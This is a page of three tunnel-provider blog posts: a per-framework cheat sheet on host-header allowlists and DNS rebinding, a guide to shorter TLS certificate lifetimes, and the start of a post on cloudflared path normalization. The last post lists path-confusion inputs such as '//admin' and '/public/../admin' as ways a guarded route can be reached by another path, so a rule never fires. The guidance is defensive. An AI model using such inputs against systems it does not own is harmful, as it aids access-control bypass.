DEV Community: InstaTunnel

“Blocked request. This host is not allowed”: The Host-Header Allowlist Cheat Sheet for Vite, Rails, Django, Angular

InstaTunnel — Sat, 07 Nov 2026 01:42:42 +0000

You start a tunnel, paste the public URL into a browser, and instead of your app you get a flat error. In a Vite project it reads Blocked request. This host ("your-name.tunnel.example.com") is not allowed. In Rails you get a 403 Forbidden response. In Django it is a 400 Bad Request. In Angular’s dev server it is the Vite message again. In Next.js your page may load, but dev-only requests under /_next/* get blocked.

None of this is a tunnel bug. Your dev server received a request for a hostname it has never heard of, and it refused to answer. This guide is a per-framework cheat sheet: the exact setting, what it accepts, what the default is, and how to configure it safely. It also explains why a stable tunnel subdomain turns this from a recurring annoyance into a one-time config line.

Why dev servers check the Host header at all

Every HTTP request carries a Host header naming the site the browser thinks it is talking to. Historically, many dev servers ignored it. That became a problem because of DNS rebinding. A hostile web page loads from an attacker-controlled domain, the attacker’s DNS then starts answering with 127.0.0.1, and the browser now treats your local server as part of the attacker’s origin. The attacker’s page can read whatever your dev server returns, including source code.

Checking the Host header against an allowlist closes that door, because the attacker’s domain is not on the list. Rails describes its middleware as a guard against DNS rebinding. Vite’s documentation says that leaving its check wide open lets any website download your source code and content through DNS rebinding.

The cost is that a legitimate tunnel hostname is also “unknown” until you list it.

One Vite-specific detail matters for tunnels. Vite’s host check is skipped when the dev server itself serves HTTPS. Many tunnels terminate TLS at their edge and forward plain HTTP to your machine, and in that setup the check still applies.

Quick diagnosis: which layer is rejecting you?

Framework	Setting	What you see
Vite	`server.allowedHosts`	403 with `Blocked request. This host (...) is not allowed.`
Rails	`config.hosts`	403 Forbidden; a debug page in development, an empty body otherwise; a `Blocked hosts:` line in the log
Django	`ALLOWED_HOSTS`	`DisallowedHost` (a `SuspiciousOperation`), returned as 400 Bad Request
Angular (dev server)	`allowedHosts` in `angular.json`	The same Vite message
Next.js	`allowedDevOrigins`	Page may render, but dev resources such as `/_next/webpack-hmr` are blocked, with a `Blocked cross-origin request to Next.js dev resource` warning in the terminal

A useful rule: if the error text names the host and tells you what to add, the request reached your framework and the tunnel is working. You are fixing configuration, not networking.

Wildcard semantics at a glance

The frameworks disagree about what a “wildcard” means, and that is where most surprises come from.

Framework	Syntax	Matches the bare domain?	Matches nested subdomains?
Vite	`.example.com`	Yes	Yes (any depth, per the docs)
Rails	`.example.com`	Yes	One label in current source; older releases were looser
Django	`.example.com`	Yes	Yes (“any other subdomain”)
Next.js	`*.example.com`	No	No (exactly one label)
Next.js	`**.example.com`	No	Yes (one or more labels)
Angular dev server	same as Vite	Yes	Yes

Whichever you use, test a real tunnel hostname before assuming a pattern works.

Vite: `server.allowedHosts`

Vite documents server.allowedHosts as string[] | true, defaulting to []. Out of the box it accepts localhost, any domain under .localhost, and all IP addresses. Everything else gets a 403.

The check arrived with the fix for advisory GHSA-vg6x-rcgg-rjx6 (CVE-2025-24010). The 6.0.9 changelog lists a Host-header check that introduced server.allowedHosts. The advisory’s fixed versions are 6.0.9, 5.4.12 and 4.5.6. That is why upgrades often trigger the error on setups that worked for months.

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  server: {
    allowedHosts: ['my-app.tunnel.example.com'],
  },
})

A few details worth knowing:

Leading dot. A string starting with . allows that hostname without the dot plus all its subdomains. Per the docs, .example.com covers example.com, foo.example.com and foo.bar.example.com. Only do this for a domain you own.
Never add a top-level domain such as .com. The docs warn that anyone can register a domain and control where it resolves.
Environment variable. Setting __VITE_ADDITIONAL_SERVER_ALLOWED_HOSTS adds hosts without touching the config file. Separate several hosts with commas. This is handy in CI, or in a shared repo where you do not want a personal tunnel name committed.
vite preview is separate. The preview server has its own preview.allowedHosts. It defaults to the value of server.allowedHosts, so set it explicitly only if the two should differ. Read the error text to see which block it points at.
Related setting: server.cors. The same advisory changed Vite’s CORS handling. The default now allows only localhost-style origins, and the docs warn that server.cors: true lets any website download your source.
Frameworks built on Vite. Nuxt takes the option under vite.server.allowedHosts in nuxt.config.ts. Strapi 5’s admin panel runs on Vite too. Strapi’s own write-up says its development config now sets allowedHosts: true internally, so on a current release upgrading Strapi may be the whole fix. If you see “edit vite.config.js” but have no such file, look for a vite key in your framework’s config.

If the page loads but hot reload is broken. Allowing the host fixes the initial load, but hot module replacement uses a WebSocket. Tunnels that rewrite ports can break it, and Strapi’s guide flags this for ngrok, Cloudflare Tunnel and VS Code port forwards. Vite’s docs list the WebSocket settings under server.ws, including clientPort, which overrides the port the browser connects to. In current docs the older server.hmr WebSocket options are marked deprecated in favor of server.ws. On older Vite versions you will still find them under server.hmr.

The shortcut you will find on forums is allowedHosts: true. We will come back to why it is a bad default.

Rails: `config.hosts`

Rails calls this Host Authorization, implemented by ActionDispatch::HostAuthorization. In development the default allowlist is .localhost, .test, and every IPv4 and IPv6 address. In other environments config.hosts is empty by default. When it is empty the middleware does nothing, so the check only bites in development or once you have configured hosts yourself.

# config/environments/development.rb
config.hosts << "my-app.tunnel.example.com"

What the source tells you:

Strings match the host with an optional port. A string starting with a dot (such as .example.com) matches the apex domain plus a subdomain. In current source that is one optional label ([a-z0-9-]+\.), so test nested names like a.b.example.com before assuming they pass. Older releases used a looser pattern, so behavior can differ between Rails versions.
Regexes, IP ranges and lambdas are accepted. Entries are compared with ===, so a lambda gives you dynamic checks. Strings and regexes get the port and leading-dot handling, and a lambda does not.
X-Forwarded-Host is checked too. The middleware blocks a request if either Host or the last X-Forwarded-Host value is not permitted, which matters when a proxy sits in front.
Opting out per route. config.host_authorization = { exclude: ->(request) { request.path =~ /healthcheck/ } } skips the check for matching requests, such as load-balancer health probes.
The response is 403 Forbidden, and the blocked hosts are logged at error level. The body contains debug info only if config.consider_all_requests_local is true. Otherwise it is empty, which can make production blocks look like a mystery.
Keep Rails patched. Leading-dot entries combined with crafted X-Forwarded-Host headers were the subject of past advisories, including CVE-2021-22881.

Because an empty config.hosts disables the check, config.hosts.clear is the Rails equivalent of Vite’s true. Treat it the same way.

Django: `ALLOWED_HOSTS`

Django introduced ALLOWED_HOSTS in 1.4.4 (February 19, 2013) as a security fix for Host header poisoning. In 1.4.4 the default was ['*'] for backwards compatibility. Today the default is an empty list.

With DEBUG = False, an empty list makes every request fail with Bad Request (400). With DEBUG = True and an empty list, current docs say the host is validated against ['.localhost', '127.0.0.1', '[::1]'], so a tunnel hostname fails even in debug mode.

That debug behavior has its own history. Older versions skipped the check under DEBUG=True, which allowed DNS rebinding attacks (CVE-2016-9014). Django fixed it in 1.10.3, 1.9.11 and 1.8.16.

# settings.py
ALLOWED_HOSTS = ["my-app.tunnel.example.com"]

Exact matching. Names are compared to the Host header case-insensitively and without the port. A trailing dot (FQDN form) is stripped before comparison.
Leading period as wildcard. .example.com matches example.com, www.example.com and any other subdomain. The docs describe only two wildcard forms, the leading period and a bare * (match everything). They do not document *.example.com.
USE_X_FORWARDED_HOST. If enabled, Django validates X-Forwarded-Host instead of Host.
Bypass warning. Validation happens in get_host(). Code that reads the header from request.META directly skips it.

One adjacent gotcha: once the page loads through the tunnel, form posts can still fail Django’s CSRF origin check. The browser’s Origin is the tunnel’s https:// URL, and Django must agree. Add the full origin, scheme included, to CSRF_TRUSTED_ORIGINS. That setting supports subdomain wildcards like https://*.example.com. If your tunnel forwards plain HTTP, also check whether SECURE_PROXY_SSL_HEADER is appropriate. Set it only when the proxy reliably controls the X-Forwarded-Proto header.

Angular: `allowedHosts` in `angular.json`

Angular’s modern dev server runs on Vite, so you get Vite’s error, but there is no vite.config.js to edit. The Angular CLI added a dev-server allowedHosts option (pull request #29466, January 2025) after moving to Vite 6.0.9 or later. The CLI docs describe it as the hosts the dev server will respond to, and say it sets the Vite option of the same name.

"serve": {
  "builder": "@angular/build:dev-server",
  "options": {
    "allowedHosts": ["my-app.tunnel.example.com"]
  }
}

The webpack-based builder (@angular-devkit/build-angular:dev-server) takes the same option in the same place. The CLI’s own tests confirm three behaviors: a listed host passes, true allows any host, and an empty array rejects unknown hosts. The CLI also exposes the setting as --allowed-hosts.

Angular has a second, unrelated host check, and it is easy to confuse with the first. Server-side rendering validates the request hostname as an SSRF defense, and its messages do not use the Vite wording:

Host http://localhost:4200/ is not allowed. You can configure allowedHosts option. Developers reported this on ng serve for SSR projects after patch release 19.2.22 (issue #33184).
URL with hostname "..." is not allowed. Please provide a list of allowed hosts in the "allowedHosts" option in the "CommonEngine" constructor. Developers reported this after @angular/ssr 21.1.5. They saw it behind a load balancer, where the validator saw an internal IP address instead of the public name (issue #32616).

For SSR, allowedHosts can be set in the CommonEngine constructor, in build options in angular.json, or through the NG_ALLOWED_HOSTS environment variable. Reporters used the environment variable to resolve the localhost case. One reporter noted that the option accepts exact hostnames or a wildcard prefix such as *.domain, not arbitrary patterns. If your error text differs from the Vite sentence, you are in this second layer, and editing serve.options will not fix it.

The SSR allowlist has itself been patched. CVE-2026-50168 (GHSA-xrxm-cp7j-8xf6) is an allowlist bypass in @angular/platform-server, fixed in 22.0.0-rc.2, 21.2.15, 20.3.22 and 19.2.23. If you rely on SSR host validation, stay on a patched release.

Next.js: `allowedDevOrigins`

Next.js differs in an important way: it is not a Host header allowlist. It blocks cross-origin requests to dev-only assets and endpoints. It matches only the hostname of the request’s Origin header, falling back to the Referer hostname for no-cors requests such as script tags. Scheme, port and path are ignored, so write entries without https:// and without a port.

// next.config.js
module.exports = {
  allowedDevOrigins: ['my-app.tunnel.example.com'],
}

The dev server already allows localhost, its subdomains, and the hostname it was started with. Any other hostname needs an entry. The official docs use a tunnel as their example of a hostname that needs one.

Wildcards are stricter than you might expect:

Entry	Matches	Does not match
`my.dev`	`my.dev`	`team.my.dev`
`*.my.dev`	`team.my.dev`	`my.dev`, `team.eu.my.dev`
`**.my.dev`	`team.my.dev`, `team.eu.my.dev`	`my.dev`

* stands for exactly one label and ** for one or more. ** works only at the start of a pattern, and partial replacement like team-*.my.dev is not supported. Because neither wildcard matches the bare domain, list the apex separately if you need it.

The option has a short history that explains why older posts disagree. It arrived with the security fix for CVE-2025-48068 in Next.js 15.2.2 and 14.2.30. The advisory describes the fix as an opt-in that requires you to configure allowedDevOrigins, and early versions only warned. A change merged in March 2026 (pull request #91507) removed the warn-only default and made blocking the default, and the current docs describe it that way. If you are on an older release, your version’s docs apply.

If your page renders through a tunnel but interactive behavior breaks, and the terminal shows a Blocked cross-origin request to Next.js dev resource warning, this is your setting. Keep Next.js patched too. CVE-2026-27977 let Origin: null bypass the websocket origin protection in next dev from 16.0.1 until the fix in 16.1.7, even when allowedDevOrigins was configured.

Why a stable subdomain means you configure it once

Allowlists are exact by design, so the real cost depends on how often your public hostname changes.

With a throwaway tunnel that hands out a random hostname on every start, you edit the allowlist every session. Each edit is also a config file change that can land in a commit, and every teammate has a different name. That fatigue is how allowedHosts: true ends up in repositories.

With a reserved, stable subdomain, the hostname is known before you ever start the tunnel. You add my-app.tunnel.example.com to the allowlist once, commit it, and every teammate, every CI run and every webhook provider points at the same name. The error you started this article with simply stops happening. The same stability helps everything else keyed to the hostname: OAuth redirect URIs, webhook endpoints, CSRF trusted origins and saved bookmarks.

If a hostname is personal rather than shared, keep it out of the repo and read it from an environment variable instead:

// vite.config.js
server: {
  allowedHosts: process.env.TUNNEL_HOST ? [process.env.TUNNEL_HOST] : [],
}

# config/environments/development.rb
config.hosts << ENV["TUNNEL_HOST"] if ENV["TUNNEL_HOST"]

The same pattern works in settings.py with os.environ and in next.config.js with process.env.

The `allowedHosts: true` trap

Disabling the check is one line in every framework above: Vite’s true, Rails’ config.hosts.clear, Django’s '*', or true in Angular’s dev-server option. It “fixes” the error instantly, which is why it spreads.

Vite’s documentation is blunt about it. Setting server.allowedHosts to true allows any website to send requests to your dev server through DNS rebinding attacks, letting them download your source code and content. It recommends always using an explicit list. You have turned off the one control that existed to stop that.

Two related mistakes are easy to make while trying to be careful:

Allowing a shared suffix. Adding a tunnel provider’s shared domain, such as .ngrok-free.app, to the list extends trust to a domain you do not control. Vite’s guidance is to add only hosts whose resolution you control, or whose owner you can trust. Prefer your own full hostname, or a domain you own.
Allowing everything “just for the demo.” Dev servers outlive demos. Keep the explicit hostname instead.

A copy-paste checklist

Read the error. Does it name the host and the setting? Then fix configuration, not the tunnel.
Copy the exact hostname from the public URL, without scheme or port.
Add it in the right place: server.allowedHosts, config.hosts, ALLOWED_HOSTS, allowedHosts in angular.json, or allowedDevOrigins.
Restart the dev server. Config-file settings like these are normally read at startup.
If the page loads but hot reload or form posts fail, check HMR WebSocket settings (Vite), CSRF_TRUSTED_ORIGINS (Django), or dev-resource warnings (Next.js).
Reserve a stable subdomain so this is the last time you edit it.
Verify from outside your network, such as a phone on cellular data, not just from your own machine.
Never commit true, '*' or a shared provider suffix.

FAQ

Why does my app work on localhost but not through a tunnel?

On localhost the Host header is localhost, which every framework above allows by default. Through a tunnel it is the public hostname, which is not on any default list.

Is `allowedHosts: true` ever acceptable?

Only on a machine and network you fully control, for a short time, with nothing sensitive in the project. Even then, an explicit hostname costs one line and avoids the risk.

Do I need to allow the port as well?

No. Django matches hostnames without the port, Rails strings tolerate an optional port, and Next.js entries should be written without one.

The error mentions `vite.config.js` but my framework has none. What now?

Look for a pass-through key: vite.server.allowedHosts in Nuxt, the admin Vite config in Strapi (or upgrade Strapi), and allowedHosts in angular.json for Angular.

Does this affect production?

These are dev-server settings for Vite, Angular and Next.js. Rails and Django are different. Django’s ALLOWED_HOSTS applies in production, and Rails’ config.hosts applies in any environment where you configure it.

References

Vite, Server Options and Preview Options
Vite advisory GHSA-vg6x-rcgg-rjx6
Rails API, ActionDispatch::HostAuthorization and pull request #33145
Django, Settings: ALLOWED_HOSTS and CSRF_TRUSTED_ORIGINS, 1.4.4 release notes and 2016 security releases
Angular CLI, ng serve options, pull request #29466, issue #33184 and issue #32616
Angular advisory GHSA-xrxm-cp7j-8xf6
Next.js, allowedDevOrigins, advisory GHSA-3h52-269p-cp9r, pull request #91507 and CVE-2026-27977
Strapi, Fixing “Blocked request. This host is not allowed” in Strapi 5
Nuxt example, Fixing ‘Blocked request’ When Exposing a Nuxt 3 Dev Server Through ngrok

Originally published at https://instatunnel.my/blog/blocked-request-this-host-is-not-allowed-the-host-header-allowlist-cheat-sheet-for-vite-rails-django-angular-and-nextjs

Certificate Lifetimes Are Shrinking: What 64-Day and 45-Day TLS Means for Custom Domains on Tunnels

InstaTunnel — Fri, 06 Nov 2026 02:35:32 +0000

On February 10, 2027, roughly three months from now, Let’s Encrypt changes its default certificate lifetime from 90 days to 64 days. About five weeks later, on March 15, 2027, the industry-wide maximum for publicly trusted TLS certificates drops from 200 days to 100. Neither change is a surprise, yet few developers have asked what it does to a custom domain pointed at a tunnel.

If you run app.yourdomain.com through a tunneling service, a certificate sits between your users (or your webhook senders) and your localhost. Someone has to renew it every time the clock runs out, and that clock is about to run faster. This guide covers the exact timeline, how renewal and DNS verification work behind a tunnel, the difference between provider-managed and bring-your-own (BYO) certificates, and the failure modes that appear when renewal quietly stops.

The Timeline: What Is Actually Changing and When

Two separate schedules are in play, and people often blur them together.

1. The CA/Browser Forum schedule (applies to every public CA)

In April 2025 the CA/Browser Forum passed Ballot SC-081v3. It phases down both the maximum certificate validity and the period for which a CA may reuse a prior domain validation (DCV). The ballot passed on April 11, 2025, with no votes against.

Effective date	Max certificate validity	Max DCV reuse
Until March 14, 2026	398 days	398 days
March 15, 2026 (already in force)	200 days	200 days
March 15, 2027	100 days	100 days
March 15, 2029	47 days	10 days

2. The Let’s Encrypt schedule (the CA most tunnel and ACME setups use)

Let’s Encrypt is moving faster than the mandate. It will reach 45 days in 2028, a year before the Forum’s 47-day maximum.

Date	ACME profile	Validity	Authorization reuse
May 13, 2026 (live)	`tlsserver` (opt-in)	45 days	Not specified in the announcement
February 10, 2027	`classic` (default)	64 days	10 days (down from 30)
February 16, 2028	`classic` (default)	45 days	7 hours

A few details from Let’s Encrypt’s announcements:

Staging is live now. 64-day certificates have been available in Let’s Encrypt’s staging environment since October 14, 2026, so you can test your renewal setup before production changes.
Existing certificates are not revoked. Let’s Encrypt expects the last 90-day certificate to expire on May 11, 2027.
Users of the tlsserver (45-day) or shortlived (6-day) profiles are not affected by the February change.
The short authorization reuse period is the quiet part. As the reuse window shrinks, you prove domain control at essentially every issuance rather than leaning on a cached validation. Let’s Encrypt says this also removes the need for “CAA rechecking” when validation data is more than seven hours old.

If you use the default profile and never touched your ACME client’s settings, the February 2027 change happens to you automatically. That is fine if your renewal is truly automated. It is a problem if “automated” means a cron job nobody has looked at since 2023.

Why Tunnel Custom Domains Are a Special Case

On a normal server you hold the private key and run the ACME client yourself. With a tunnel, the public edge belongs to the provider, and your domain is an alias pointing at it. That splits responsibility three ways:

The provider terminates TLS and (usually) obtains and renews the certificate.
You control the DNS records that make that issuance possible.
Your local app never sees the certificate at all.

Shorter lifetimes stress the DNS half of that arrangement most. The renewal job on the provider’s side can be flawless and still fail because a record on your side drifted.

Provider-Managed Certificates: Convenient, Not Invisible

Most tunnel platforms default to managed certificates, and ngrok’s documentation is a concrete example. It recommends automatic certificates unless you have special requirements. For these it provisions and renews certificates from an ACME-compliant CA such as Let’s Encrypt. It uses an HTTP-01 challenge for most domains and switches to DNS-01 for wildcard domains.

For a branded domain such as api.your-domain.com, you create a CNAME record, and provisioning does not begin until you do. For a wildcard such as *.app.example.com, you need two CNAMEs: the wildcard itself and _acme-challenge.app.example.com.

Provisioning is asynchronous. ngrok says it typically takes from a few seconds up to several minutes, and occasionally longer if a DNS challenge is slow to validate. While it runs, ngrok serves its own default wildcard certificate. That certificate is not issued for your hostname, so browsers and other TLS clients show a hostname-mismatch warning.

That documentation describes one vendor, but the pattern is common. It tells you what to watch under shorter lifetimes:

The CNAME is your issuance credential. If someone “cleans up” DNS and removes it, provisioning cannot proceed. At 398 days you might not notice for a year. At 64 days you find out within about two months, and at 45 days within about six weeks.
Wildcards depend on a second record. The _acme-challenge CNAME is easy to forget, because nothing visibly breaks until the certificate needs renewing.
Fallback certificates look like an outage. A hostname-mismatch warning is a hard failure for many API clients and webhook senders, even if a human could click through.

Managed certificates do not remove your obligations. They narrow them to a short list: keep the DNS records correct and monitor the outcome.

Bring Your Own Certificates: Control With a Rotation Tax

Some teams upload their own certificate: one from an internal CA, an EV certificate, or one pinned by a partner. That is legitimate, and the trade-off sharpens as lifetimes shrink.

With ngrok, as an example, custom certificates mean you are responsible for renewal and rotation. You upload a PEM bundle with the leaf certificate first, followed by any intermediates, plus a private key that is not encrypted. Then you attach the certificate to one or more domains, because creating it alone changes no traffic.

On ngrok, TLS certificates are available on all plans, but BYO certificates require the pay-as-you-go plan. They are billed at a flat $0.27 per hour for any clock hour in which at least one endpoint using that certificate is active. A wildcard certificate is billed once, not per matching subdomain. Pricing and plan rules differ by vendor, so check yours.

Now do the rotation math for a single hostname:

Max lifetime	Minimum rotations per year
398 days	1
200 days	2
100 days	4
64 days	6
47 days	8

These are minimums if you replaced each certificate exactly at expiry. Renewing earlier, as you should, pushes the real number higher.

A manual process that was tolerable once a year (download, convert, upload, attach, test) becomes a recurring operational cost at six to eight times a year per hostname, multiplied by every environment. If you must use BYO, automate the whole path:

Your ACME client obtains the certificate.
A deploy hook uploads it through the provider’s API.
A second step attaches it to the domain.
A check verifies the live certificate’s expiry afterwards.

Treat any step you cannot script as the one that will fail.

The Forum’s schedule applies to publicly trusted certificates. A certificate from a private CA that your own clients trust is outside it, but it does not help when external services call your tunnel URL.

What Breaks When Renewal Silently Fails

“Silently” is the operative word. Several things that used to cushion failures are weaker now:

No more reminder emails. Let’s Encrypt ended its expiration notification emails on June 4, 2025. It recommends third-party monitoring instead, and its monitoring page names Red Sift Certificates Lite, which is free for up to 250 certificates. If you relied on that email as a safety net, it is gone.
Shorter windows leave less slack. Let’s Encrypt recommends renewing at roughly two-thirds of a certificate’s lifetime. For a 45-day certificate that means renewing around day 30, leaving about 15 days to fix a failure. For a 64-day certificate it is around day 43, leaving about three weeks.
Reuse is shrinking. With authorization reuse falling to 10 days and then 7 hours for Let’s Encrypt’s default profile, “it worked last time” no longer implies “it will work this time.”

Typical failure modes on tunnel custom domains:

Failure	Likely symptom
CNAME removed or retargeted during a DNS migration	Provisioning or renewal cannot proceed; the provider’s status shows an error
HTTP-01 request blocked by a firewall, WAF, or access policy	Issuance error after a configuration change
DNS API token expired or rotated (DNS-01 setups)	Automation fails in logs nobody reads
CAA record excludes the CA in use	Issuance refused
Old ACME client or abandoned cron job	No renewal attempts at all
Uploaded BYO certificate not replaced	The expired certificate is still the one attached to the domain

Two details from Let’s Encrypt’s documentation are relevant here. First, HTTP-01 can only be done on port 80. Its validation follows up to 10 redirects, but only to ports 80 or 443. Second, Let’s Encrypt checks CAA records before issuing, and its CAA identifier is letsencrypt.org.

Webhook providers and API consumers are the least forgiving. A person might click past a warning, but an automated sender typically just fails the TLS handshake, and the first sign is missing events rather than a visible error page.

Renewal Timing: Stop Using Fixed Offsets

Many tools were configured for 90-day certificates with a fixed rule, such as “renew when 30 days remain” or “renew every 60 days.” Let’s Encrypt’s own guidance is blunt. A hardcoded interval of 60 days is no longer sufficient for 45-day certificates. It suggests grepping cron jobs, wrapper scripts and runbooks for hardcoded numbers like 83, 80 or 60. Anything that waits 80 days will miss a 64-day certificate entirely.

The better answer is ACME Renewal Information (ARI), standardized as RFC 9773. The CA tells the client when to renew, and clients should renew inside the suggested window. Let’s Encrypt recommends ARI, and says that if your client lacks it, renewing at about two-thirds of the certificate’s lifetime is acceptable.

Certbot has checked ARI automatically when the CA supports it since version 4.1.0 (June 2025). Other clients differ, so verify your specific client and version rather than assuming. For tunnel providers, ask whether their renewal pipeline uses ARI-based timing, since you do not control it.

DNS Verification Under Shorter Lifetimes

HTTP-01 vs DNS-01

HTTP-01 is simple for single hostnames: the CA fetches a token from your site. On a tunnel the provider usually answers it for you once the CNAME is in place. DNS-01 is required for wildcards and works where HTTP-01 cannot, but it needs DNS write access at every issuance. Let’s Encrypt notes that putting full DNS API credentials on a web server increases the impact of a compromise. It recommends narrowly scoped credentials, or validating from a separate server.

Delegate the challenge instead of sharing DNS keys

Let’s Encrypt follows standard DNS lookups for DNS-01 validation, so you can use CNAME or NS records to delegate the _acme-challenge name to another zone. That lets you point _acme-challenge.yourdomain.com at a zone reserved for automation, with credentials scoped to that zone only. Client support for following the delegation varies, so confirm yours and test with a dry run before relying on it.

DNS-PERSIST-01: a new option to watch

Let’s Encrypt has described a new challenge type, DNS-PERSIST-01, based on an IETF draft. Instead of publishing a fresh token at each issuance, you publish a standing TXT record at _validation-persist.<domain> that names the CA and your specific ACME account. Renewals then need no DNS changes, so DNS write access can be locked down after setup.

Scope and lifetime are controlled with optional parameters. policy=wildcard widens the authorization to wildcard certificates and matching subdomains. persistUntil sets an expiry timestamp. Without an expiry, the authorization lasts indefinitely, so set a monitoring reminder. Because the record persists, protecting your ACME account key becomes the central concern. The CA/Browser Forum approved the underlying validation method in ballot SC-088v3 in October 2025.

Let’s Encrypt had targeted a production rollout in Q2 2026, with staging first. I could not find confirmation that it is live in production. Community discussion as late as July 2026 described the IETF draft as still being tightened and said no public CA had a production implementation. Treat it as something to plan for rather than depend on. It also matters whether your tunnel provider supports it, not just your own ACME client, because on a managed domain the provider holds the ACME account.

A Practical Checklist for Custom Domains on Tunnels

Before February 10, 2027

Inventory every custom hostname and note who renews it: the provider, your ACME client, or a person.
Verify DNS records (the CNAME target, plus _acme-challenge for wildcards) against your provider’s current instructions.
Check CAA records to confirm they permit the CA actually issuing.
Test renewal end to end. Run your ACME client against Let’s Encrypt staging, which has issued 64-day certificates since October 14. For managed domains, confirm the provider’s status field or dashboard shows a healthy certificate.
Update old clients. Make sure yours supports ACME profiles and ARI, and remove hardcoded renewal offsets.

Ongoing

Monitor the live certificate, not the job. Run an external check that connects to each hostname and alerts when the remaining lifetime falls below a set threshold, such as the last third of the certificate’s life. A job exiting with code 0 proves nothing about what the edge is serving.
Alert on DNS drift. A scheduled check that your CNAMEs still resolve to the expected targets catches the most common managed-certificate failure.
Document the ownership. When the person who set up the domain leaves, the renewal process should not leave with them.
Rehearse the failure. Know the manual recovery steps (re-create the record, trigger reissue, re-upload) before you need them at 2 a.m.

Provider-Managed or BYO? A Quick Decision Guide

Situation	Better choice
Standard public site, webhooks, API on a custom domain	Provider-managed
Small team, no dedicated ops	Provider-managed
Contractual requirement for a specific CA or certificate type	BYO, with automated upload
Certificate pinned by a partner	BYO, with a rotation runbook
Wildcard across many tunnels	Managed with DNS-01 delegation, or BYO with automation

For most developers the managed path is right, and shorter lifetimes strengthen the case. A provider that renews continuously is doing the job you would otherwise script yourself.

Where Pro Custom Domains Fit

Custom domains are the point where a tunnel stops being a throwaway URL and becomes part of your infrastructure: a stable hostname for webhooks, demos, staging, or a client’s preview. That makes certificate handling part of what you are buying. When evaluating a Pro custom-domain plan from any tunnel provider, ask:

Are certificates issued and renewed automatically, and what happens to the hostname if renewal fails?
Which challenge types and DNS records are required, and can I see certificate status and expiry in a dashboard or API?
Is wildcard support available, and how is the _acme-challenge record handled?
Can I bring my own certificate, and is rotation scriptable through an API? What does it cost?
How does the provider alert me before expiry, given that Let’s Encrypt’s reminder emails no longer exist?

A plan that answers these clearly turns the 64-day and 45-day changes into a non-event.

Frequently Asked Questions

Is the 64-day change a CA/Browser Forum rule?

No. The 64-day default is Let’s Encrypt’s own interim step. The Forum’s current maximum is 200 days, falling to 100 on March 15, 2027.

Do I need to do anything if my tunnel provider manages certificates?

Mainly keep your DNS records intact and monitor the certificate your hostname actually serves.

Will Let’s Encrypt certificates become 47 days?

No. Let’s Encrypt plans 45 days from February 16, 2028, slightly under the Forum’s eventual 47-day maximum in 2029.

What happens to my existing 90-day certificates?

They stay valid until they expire, and none are revoked as part of the change. Let’s Encrypt expects the last 90-day certificate to expire on May 11, 2027. Anything issued or renewed from February 10, 2027 gets 64 days.

Does this apply to self-signed or private-CA certificates?

The schedule governs publicly trusted TLS certificates, so private PKI is outside it, though external callers will not trust such certificates.

Key Takeaways

The key dates are February 10, 2027 (Let’s Encrypt moves to 64 days), March 15, 2027 (100-day industry maximum), February 16, 2028 (Let’s Encrypt moves to 45 days), and March 15, 2029 (47-day maximum, 10-day DCV reuse).
On tunnels, the risk is rarely the provider’s renewal engine. It is DNS drift, expired credentials, and BYO certificates nobody rotated.
Monitor the served certificate externally, because Let’s Encrypt’s reminder emails ended in June 2025.
Replace hardcoded renewal offsets with ARI or renewal at about two-thirds of the lifetime.
Prefer managed certificates unless a real requirement says otherwise, and automate every step if you bring your own.

Sources

Originally published at https://instatunnel.my/blog/certificate-lifetimes-are-shrinking-what-64-day-and-45-day-tls-means-for-custom-domains-on-tunnels

Path Normalization at the Tunnel Edge: Why a Route Matches on localhost but Not Through a Tunnel

InstaTunnel — Thu, 05 Nov 2026 01:42:28 +0000

Your /admin route works on localhost:8080. Through the tunnel, //admin returns something different, /public/../admin behaves differently again, and a rule you assumed was guarding the path never seems to fire. Nothing is wrong with your app. Several components are each parsing the same path with different rules, and a tunnel adds one more parser to the chain.

That chain is about to change. Starting 2027-01-25, new cloudflared releases will turn on URL normalization by default, which Cloudflare says may change which ingress rule matches a request. This guide explains what changes, what doesn't, how path-confusion auth bypasses work, and how to test your own routing before the default flips.

Quick summary

cloudflared 2026.10.0 and later can normalize the URL path before matching ingress rules.

It is off by default today and on by default in new releases from 2027-01-25.

Cloudflare scopes the change to tunnels with ingress rules that require Cloudflare Access validation; other configurations are unaffected.

The documented transformations are dot-segment removal, backslash-to-slash conversion and merging repeated slashes. The path forwarded to your origin is not modified.

Percent-encoding (such as %2F) and trailing slashes are not in the documented list, so test them instead of assuming.

What Cloudflare announced

On October 22, 2026, Cloudflare published a changelog entry titled "Cloudflare Tunnel supports URL normalization." The key facts:

Availability: cloudflared version 2026.10.0 and later. GitHub lists 2026.10.0 as released on October 5, 2026; the newest release I could find as of November 5, 2026 is 2026.10.6.
Default today: off. The flag is inverted, so the documented default of --disable-path-normalization is true.
Default from 2027-01-25: on, for new releases.
Scope: Cloudflare says it improves security for tunnels with rules that require Access validation, and that configurations without such rules are unaffected.
Origin path: unchanged. Normalization applies to the path used for matching, not the path forwarded.

To enable it now:

cloudflared tunnel --disable-path-normalization=false run <TUNNEL_NAME_OR_UUID>

or set TUNNEL_DISABLE_PATH_NORMALIZATION=false on each cloudflared replica and restart it.

One operational detail deserves attention. Standalone cloudflared binaries running as a service auto-update every 24 hours by default (autoupdate-freq). Package-manager installs, Windows and interactive runs don't auto-update. If your tunnel auto-updates, or you deploy a floating latest image tag, the new default will arrive without a deliberate upgrade. Either set the flag explicitly now or pin your version until you've tested.

What gets normalized, and what doesn't

Cloudflare's configuration docs describe the behavior with three examples. Incoming paths are shown as cloudflared receives them:

Incoming path	Used for ingress matching	Sent to origin
`/hello/../path`	`/path`	`/hello/../path`
`/hello//path`	`/hello/path`	`/hello//path`
`/hello\path`	`/hello/path`	`/hello\path`

In words: dot segments (. and ..) are removed following RFC 3986 section 5.2.4, backslashes become forward slashes, and repeated slashes are merged.

Notice what the documentation does not list: percent-decoding, trailing-slash handling, semicolon path parameters, and case folding. This matters because RFC 3986 draws a hard line here. A percent-encoded unreserved character such as %61 (the letter "a") is equivalent to its literal form, so normalizers may decode it. A percent-encoded reserved character is not equivalent: %2F is not the same as /, and a standards-compliant normalizer must not collapse them.

My takeaway: treat anything outside Cloudflare's three documented transformations as "not normalized" until your own test shows otherwise. I verified this against Cloudflare's documentation, not by instrumenting cloudflared, so the test matrix below is the way to confirm behavior on your version.

Why localhost and a tunnel disagree

Hitting localhost:8080/admin involves one path parser: your framework's. A tunneled request passes through at least three:

